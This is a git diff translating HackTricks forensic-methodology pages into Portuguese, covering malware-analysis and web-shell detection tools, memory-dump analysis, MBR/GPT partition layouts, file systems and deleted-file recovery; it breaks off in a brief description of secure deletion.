+[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, cabeçalhos, mas também verifica o virus total e encontra técnicas potenciais do Att\&ck.
 
 ### Detect It Easy(DiE)
 
-[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**.
+[**DiE**](https://github.com/horsicq/Detect-It-Easy/) é uma ferramenta para detectar se um arquivo está **criptografado** e também encontrar **empacotadores**.
 
 ### NeoPI
 
-[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**.
+[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script em Python que utiliza uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** dentro de arquivos de texto/script. O objetivo do NeoPI é ajudar na **detecção de código de web shell oculto**.
 
 ### **php-malware-finder**
 
-[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells.
+[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o seu melhor para detectar **código ofuscado**/**suspeito**, bem como arquivos que utilizam funções **PHP** frequentemente usadas em **malwares**/webshells.
 
 ### Apple Binary Signatures
 
-When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.**
-
+Ao verificar alguma **amostra de malware**, você deve sempre **verificar a assinatura** do binário, pois o **desenvolvedor** que a assinou pode já estar **relacionado** com **malware.**
 ```bash
 #Get signer
 codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app
 #Check if the signature is valid
 spctl --assess --verbose /Applications/Safari.app
 ```
+## Técnicas de Detecção
 
-## Detection Techniques
+### Empilhamento de Arquivos
 
-### File Stacking
+Se você sabe que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em uma data específica**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data é **suspeita**, verifique esse arquivo.
 
-If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file.
+### Linhas de Base
 
-### Baselines
+Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **compará-los** com os **atuais**. Qualquer modificação será **suspeita**.
 
-If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**.
+### Análise Estatística
 
-### Statistical Analysis
-
-When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
+Quando as informações são salvas em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um shell web pode ser um dos mais**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
index 0d48e3bc2..9caec0ab9 100644
--- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,49 +1,37 @@
-# Memory dump analysis
+# Análise de despejo de memória
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+## Início
 
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Start
-
-Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
+Comece **procurando** por **malware** dentro do pcap. Use as **ferramentas** mencionadas em [**Análise de Malware**](../malware-analysis.md).
 
 ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
 
-**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations.
+**Volatility é o principal framework de código aberto para análise de despejo de memória**. Esta ferramenta Python analisa despejos de fontes externas ou VMs VMware, identificando dados como processos e senhas com base no perfil do SO do despejo. É extensível com plugins, tornando-a altamente versátil para investigações forenses.
 
-**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
+**[Encontre aqui um cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
 
-## Mini dump crash report
+## Relatório de falha de mini despejo
 
-When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump.
+Quando o despejo é pequeno (apenas alguns KB, talvez alguns MB), então provavelmente é um relatório de falha de mini despejo e não um despejo de memória.
 
 ![](<../../../images/image (216).png>)
 
-If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed:
+Se você tiver o Visual Studio instalado, pode abrir este arquivo e vincular algumas informações básicas, como nome do processo, arquitetura, informações de exceção e módulos sendo executados:
 
 ![](<../../../images/image (217).png>)
 
-You can also load the exception and see the decompiled instructions
+Você também pode carregar a exceção e ver as instruções decompiladas
 
 ![](<../../../images/image (219).png>)
 
 ![](<../../../images/image (218) (1).png>)
 
-Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump.
+De qualquer forma, o Visual Studio não é a melhor ferramenta para realizar uma análise da profundidade do despejo.
 
-You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
+Você deve **abri-lo** usando **IDA** ou **Radare** para inspecioná-lo em **profundidade**.
 
 ​
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 02ab3ddf6..4bddec458 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,147 +1,145 @@
-# Partitions/File Systems/Carving
+# Partições/Sistemas de Arquivos/Carving
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Partitions
+## Partições
 
-A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\
-The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size.
+Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
+A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, cada tamanho de partição precisa ser um múltiplo desse tamanho.
 
 ### MBR (master Boot Record)
 
-It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\
-It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\
-MBR allows **max 2.2TB**.
+Ele é alocado no **primeiro setor do disco após os 446B do código de inicialização**. Este setor é essencial para indicar ao PC o que e de onde uma partição deve ser montada.\
+Permite até **4 partições** (no máximo **apenas 1** pode ser ativa/**inicializável**). No entanto, se você precisar de mais partições, pode usar **partições estendidas**. O **último byte** deste primeiro setor é a assinatura do registro de inicialização **0x55AA**. Apenas uma partição pode ser marcada como ativa.\
+MBR permite **máx 2.2TB**.
 
 ![](<../../../images/image (489).png>)
 
 ![](<../../../images/image (490).png>)
 
-From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir o Windows de inicializar (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
 
 ![](<../../../images/image (493).png>)
 
-**Format**
+**Formato**
 
-| Offset      | Length     | Item                |
-| ----------- | ---------- | ------------------- |
-| 0 (0x00)    | 446(0x1BE) | Boot code           |
-| 446 (0x1BE) | 16 (0x10)  | First Partition     |
-| 462 (0x1CE) | 16 (0x10)  | Second Partition    |
-| 478 (0x1DE) | 16 (0x10)  | Third Partition     |
-| 494 (0x1EE) | 16 (0x10)  | Fourth Partition    |
-| 510 (0x1FE) | 2 (0x2)    | Signature 0x55 0xAA |
+| Offset      | Comprimento | Item                |
+| ----------- | ----------- | ------------------- |
+| 0 (0x00)    | 446(0x1BE)  | Código de inicialização           |
+| 446 (0x1BE) | 16 (0x10)   | Primeira Partição     |
+| 462 (0x1CE) | 16 (0x10)   | Segunda Partição    |
+| 478 (0x1DE) | 16 (0x10)   | Terceira Partição     |
+| 494 (0x1EE) | 16 (0x10)   | Quarta Partição    |
+| 510 (0x1FE) | 2 (0x2)     | Assinatura 0x55 0xAA |
 
-**Partition Record Format**
+**Formato do Registro da Partição**
 
-| Offset    | Length   | Item                                                   |
-| --------- | -------- | ------------------------------------------------------ |
-| 0 (0x00)  | 1 (0x01) | Active flag (0x80 = bootable)                          |
-| 1 (0x01)  | 1 (0x01) | Start head                                             |
-| 2 (0x02)  | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
-| 3 (0x03)  | 1 (0x01) | Start cylinder lowest 8 bits                           |
-| 4 (0x04)  | 1 (0x01) | Partition type code (0x83 = Linux)                     |
-| 5 (0x05)  | 1 (0x01) | End head                                               |
-| 6 (0x06)  | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7)   |
-| 7 (0x07)  | 1 (0x01) | End cylinder lowest 8 bits                             |
-| 8 (0x08)  | 4 (0x04) | Sectors preceding partition (little endian)            |
-| 12 (0x0C) | 4 (0x04) | Sectors in partition                                   |
+| Offset    | Comprimento | Item                                                   |
+| --------- | ----------- | ------------------------------------------------------ |
+| 0 (0x00)  | 1 (0x01)   | Sinalizador ativo (0x80 = inicializável)                          |
+| 1 (0x01)  | 1 (0x01)   | Cabeça de início                                             |
+| 2 (0x02)  | 1 (0x01)   | Setor de início (bits 0-5); bits superiores do cilindro (6- 7) |
+| 3 (0x03)  | 1 (0x01)   | Cilindro de início 8 bits mais baixos                           |
+| 4 (0x04)  | 1 (0x01)   | Código do tipo de partição (0x83 = Linux)                     |
+| 5 (0x05)  | 1 (0x01)   | Cabeça de fim                                               |
+| 6 (0x06)  | 1 (0x01)   | Setor de fim (bits 0-5); bits superiores do cilindro (6- 7)   |
+| 7 (0x07)  | 1 (0x01)   | Cilindro de fim 8 bits mais baixos                             |
+| 8 (0x08)  | 4 (0x04)   | Setores precedendo a partição (little endian)            |
+| 12 (0x0C) | 4 (0x04)   | Setores na partição                                   |
 
-In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command)
+Para montar um MBR no Linux, você primeiro precisa obter o deslocamento de início (você pode usar `fdisk` e o comando `p`)
 
-![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
-
-And then use the following code
+![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
 
+E então use o seguinte código
 ```bash
 #Mount MBR in Linux
 mount -o ro,loop,offset=
 #63x512 = 32256Bytes
 mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
 ```
+**LBA (Endereçamento de bloco lógico)**
 
-**LBA (Logical block addressing)**
+**Endereçamento de bloco lógico** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computador, geralmente sistemas de armazenamento secundário, como discos rígidos. O LBA é um esquema de endereçamento linear particularmente simples; **os blocos são localizados por um índice inteiro**, com o primeiro bloco sendo LBA 0, o segundo LBA 1, e assim por diante.
 
-**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on.
+### GPT (Tabela de Partição GUID)
 
-### GPT (GUID Partition Table)
+A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distintiva por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
 
-The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways:
+- **Localização e Tamanho**: Tanto a GPT quanto o MBR começam no **setor 0**. No entanto, a GPT opera em **64 bits**, contrastando com os 32 bits do MBR.
+- **Limites de Partição**: A GPT suporta até **128 partições** em sistemas Windows e acomoda até **9,4ZB** de dados.
+- **Nomes de Partição**: Oferece a capacidade de nomear partições com até 36 caracteres Unicode.
 
-- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
-- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
-- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
+**Resiliência e Recuperação de Dados**:
 
-**Data Resilience and Recovery**:
+- **Redundância**: Ao contrário do MBR, a GPT não confina os dados de partição e inicialização a um único lugar. Ela replica esses dados em todo o disco, melhorando a integridade e resiliência dos dados.
+- **Verificação de Redundância Cíclica (CRC)**: A GPT emprega CRC para garantir a integridade dos dados. Ela monitora ativamente a corrupção de dados e, quando detectada, a GPT tenta recuperar os dados corrompidos de outra localização no disco.
 
-- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
-- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
+**MBR Protetor (LBA0)**:
 
-**Protective MBR (LBA0)**:
-
-- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
+- A GPT mantém compatibilidade retroativa através de um MBR protetor. Este recurso reside no espaço MBR legado, mas é projetado para evitar que utilitários mais antigos baseados em MBR sobrescrevam acidentalmente discos GPT, protegendo assim a integridade dos dados em discos formatados em GPT.
 
 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
 
-**Hybrid MBR (LBA 0 + GPT)**
+**MBR Híbrido (LBA 0 + GPT)**
 
 [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes.
+Em sistemas operacionais que suportam **inicialização baseada em GPT através de serviços BIOS** em vez de EFI, o primeiro setor também pode ser usado para armazenar a primeira etapa do código do **bootloader**, mas **modificado** para reconhecer **partições GPT**. O bootloader no MBR não deve assumir um tamanho de setor de 512 bytes.
 
-**Partition table header (LBA 1)**
+**Cabeçalho da tabela de partição (LBA 1)**
 
 [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table).
+O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele também define o número e o tamanho das entradas de partição que compõem a tabela de partição (offsets 80 e 84 na tabela).
 
 | Offset    | Length   | Contents                                                                                                                                                                     |
 | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00)  | 8 bytes  | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) |
-| 8 (0x08)  | 4 bytes  | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8                                                                                                                                  |
-| 12 (0x0C) | 4 bytes  | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes)                                                                                                 |
-| 16 (0x10) | 4 bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation                             |
-| 20 (0x14) | 4 bytes  | Reserved; must be zero                                                                                                                                                       |
-| 24 (0x18) | 8 bytes  | Current LBA (location of this header copy)                                                                                                                                   |
-| 32 (0x20) | 8 bytes  | Backup LBA (location of the other header copy)                                                                                                                               |
-| 40 (0x28) | 8 bytes  | First usable LBA for partitions (primary partition table last LBA + 1)                                                                                                       |
-| 48 (0x30) | 8 bytes  | Last usable LBA (secondary partition table first LBA − 1)                                                                                                                    |
-| 56 (0x38) | 16 bytes | Disk GUID in mixed endian                                                                                                                                                    |
-| 72 (0x48) | 8 bytes  | Starting LBA of an array of partition entries (always 2 in primary copy)                                                                                                     |
-| 80 (0x50) | 4 bytes  | Number of partition entries in array                                                                                                                                         |
-| 84 (0x54) | 4 bytes  | Size of a single partition entry (usually 80h or 128)                                                                                                                        |
-| 88 (0x58) | 4 bytes  | CRC32 of partition entries array in little endian                                                                                                                            |
-| 92 (0x5C) | \*       | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes)                                      |
+| 0 (0x00)  | 8 bytes  | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)em máquinas little-endian) |
+| 8 (0x08)  | 4 bytes  | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8                                                                                                                                  |
+| 12 (0x0C) | 4 bytes  | Tamanho do cabeçalho em little endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes)                                                                                                 |
+| 16 (0x10) | 4 bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (offset +0 até o tamanho do cabeçalho) em little endian, com este campo zerado durante o cálculo                             |
+| 20 (0x14) | 4 bytes  | Reservado; deve ser zero                                                                                                                                                       |
+| 24 (0x18) | 8 bytes  | LBA atual (localização desta cópia do cabeçalho)                                                                                                                                   |
+| 32 (0x20) | 8 bytes  | LBA de backup (localização da outra cópia do cabeçalho)                                                                                                                               |
+| 40 (0x28) | 8 bytes  | Primeiro LBA utilizável para partições (último LBA da tabela de partição primária + 1)                                                                                                       |
+| 48 (0x30) | 8 bytes  | Último LBA utilizável (primeiro LBA da tabela de partição secundária − 1)                                                                                                                    |
+| 56 (0x38) | 16 bytes | GUID do disco em endian misto                                                                                                                                                    |
+| 72 (0x48) | 8 bytes  | LBA inicial de um array de entradas de partição (sempre 2 na cópia primária)                                                                                                     |
+| 80 (0x50) | 4 bytes  | Número de entradas de partição no array                                                                                                                                         |
+| 84 (0x54) | 4 bytes  | Tamanho de uma única entrada de partição (geralmente 80h ou 128)                                                                                                                        |
+| 88 (0x58) | 4 bytes  | CRC32 do array de entradas de partição em little endian                                                                                                                            |
+| 92 (0x5C) | \*       | Reservado; deve ser zeros para o restante do bloco (420 bytes para um tamanho de setor de 512 bytes; mas pode ser mais com tamanhos de setor maiores)                                      |
 
-**Partition entries (LBA 2–33)**
+**Entradas de Partição (LBA 2–33)**
 
-| GUID partition entry format |          |                                                                                                               |
-| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
-| Offset                      | Length   | Contents                                                                                                      |
-| 0 (0x00)                    | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) |
-| 16 (0x10)                   | 16 bytes | Unique partition GUID (mixed endian)                                                                          |
-| 32 (0x20)                   | 8 bytes  | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian))                                      |
-| 40 (0x28)                   | 8 bytes  | Last LBA (inclusive, usually odd)                                                                             |
-| 48 (0x30)                   | 8 bytes  | Attribute flags (e.g. bit 60 denotes read-only)                                                               |
-| 56 (0x38)                   | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units)                               |
+| Formato de entrada de partição GUID |          |                                                                                                               |
+| ------------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
+| Offset                               | Length   | Contents                                                                                                      |
+| 0 (0x00)                             | 16 bytes | [Tipo de partição GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) |
+| 16 (0x10)                            | 16 bytes | GUID de partição único (endian misto)                                                                          |
+| 32 (0x20)                            | 8 bytes  | Primeiro LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian))                                      |
+| 40 (0x28)                            | 8 bytes  | Último LBA (inclusivo, geralmente ímpar)                                                                             |
+| 48 (0x30)                            | 8 bytes  | Flags de atributo (por exemplo, o bit 60 denota somente leitura)                                                               |
+| 56 (0x38)                            | 72 bytes | Nome da partição (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código)                               |
 
-**Partitions Types**
+**Tipos de Partições**
 
 ![](<../../../images/image (492).png>)
 
-More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+Mais tipos de partições em [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-### Inspecting
+### Inspecionando
 
-After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted:
+Após montar a imagem forense com [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), você pode inspecionar o primeiro setor usando a ferramenta do Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na imagem a seguir, um **MBR** foi detectado no **setor 0** e interpretado:
 
 ![](<../../../images/image (494).png>)
 
-If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty).
+Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI PART_ no **setor 1** (que na imagem anterior está vazio).
 
-## File-Systems
+## Sistemas de Arquivos
 
-### Windows file-systems list
+### Lista de sistemas de arquivos do Windows
 
 - **FAT12/16**: MSDOS, WIN95/98/NT/200
 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI
 
 ### FAT
 
-The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process.
+O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema.
 
-The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions:
+A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, composto por vários setores. O FAT evoluiu através de versões:
 
-- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
-- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
-- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
+- **FAT12**, suportando endereços de cluster de 12 bits e lidando com até 4078 clusters (4084 com UNIX).
+- **FAT16**, aprimorando para endereços de 16 bits, acomodando assim até 65.517 clusters.
+- **FAT32**, avançando ainda mais com endereços de 32 bits, permitindo impressionantes 268.435.456 clusters por volume.
 
-A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage.
+Uma limitação significativa em todas as versões do FAT é o **tamanho máximo de arquivo de 4GB**, imposto pelo campo de 32 bits usado para armazenamento do tamanho do arquivo.
 
-Key components of the root directory, particularly for FAT12 and FAT16, include:
+Os componentes-chave do diretório raiz, particularmente para FAT12 e FAT16, incluem:
 
-- **File/Folder Name** (up to 8 characters)
-- **Attributes**
-- **Creation, Modification, and Last Access Dates**
-- **FAT Table Address** (indicating the start cluster of the file)
-- **File Size**
+- **Nome do Arquivo/Pasta** (até 8 caracteres)
+- **Atributos**
+- **Datas de Criação, Modificação e Último Acesso**
+- **Endereço da Tabela FAT** (indicando o cluster inicial do arquivo)
+- **Tamanho do Arquivo**
 
 ### EXT
 
-**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**.
+**Ext2** é o sistema de arquivos mais comum para partições **sem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
 
-## **Metadata**
+## **Metadados**
 
-Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like:
+Alguns arquivos contêm metadados. Essas informações são sobre o conteúdo do arquivo que às vezes podem ser interessantes para um analista, pois dependendo do tipo de arquivo, pode conter informações como:
 
-- Title
-- MS Office Version used
-- Author
-- Dates of creation and last modification
-- Model of the camera
-- GPS coordinates
-- Image information
+- Título
+- Versão do MS Office utilizada
+- Autor
+- Datas de criação e última modificação
+- Modelo da câmera
+- Coordenadas GPS
+- Informações da imagem
 
-You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file.
+Você pode usar ferramentas como [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obter os metadados de um arquivo.
 
-## **Deleted Files Recovery**
+## **Recuperação de Arquivos Excluídos**
 
-### Logged Deleted Files
+### Arquivos Excluídos Registrados
 
-As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files.
+Como foi visto anteriormente, há vários lugares onde o arquivo ainda está salvo após ter sido "excluído". Isso ocorre porque geralmente a exclusão de um arquivo de um sistema de arquivos apenas o marca como excluído, mas os dados não são tocados. Assim, é possível inspecionar os registros dos arquivos (como o MFT) e encontrar os arquivos excluídos.
 
-Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible.
+Além disso, o SO geralmente salva muitas informações sobre alterações no sistema de arquivos e backups, então é possível tentar usá-las para recuperar o arquivo ou o máximo de informações possível.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
@@ -201,31 +199,31 @@ file-data-carving-recovery-tools.md
 
 ### **File Carving**
 
-**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself.
+**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
 
-Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it.
+Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
 
-There are several tools that you can use for file Carving indicating the file types you want to search for
+Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivo que deseja pesquisar.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Data Stream **C**arving
+### Carving de Fluxo de Dados
 
-Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\
-For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs.
+Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informação.\
+Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá procurar por URLs.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Secure Deletion
+### Exclusão Segura
 
-Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\
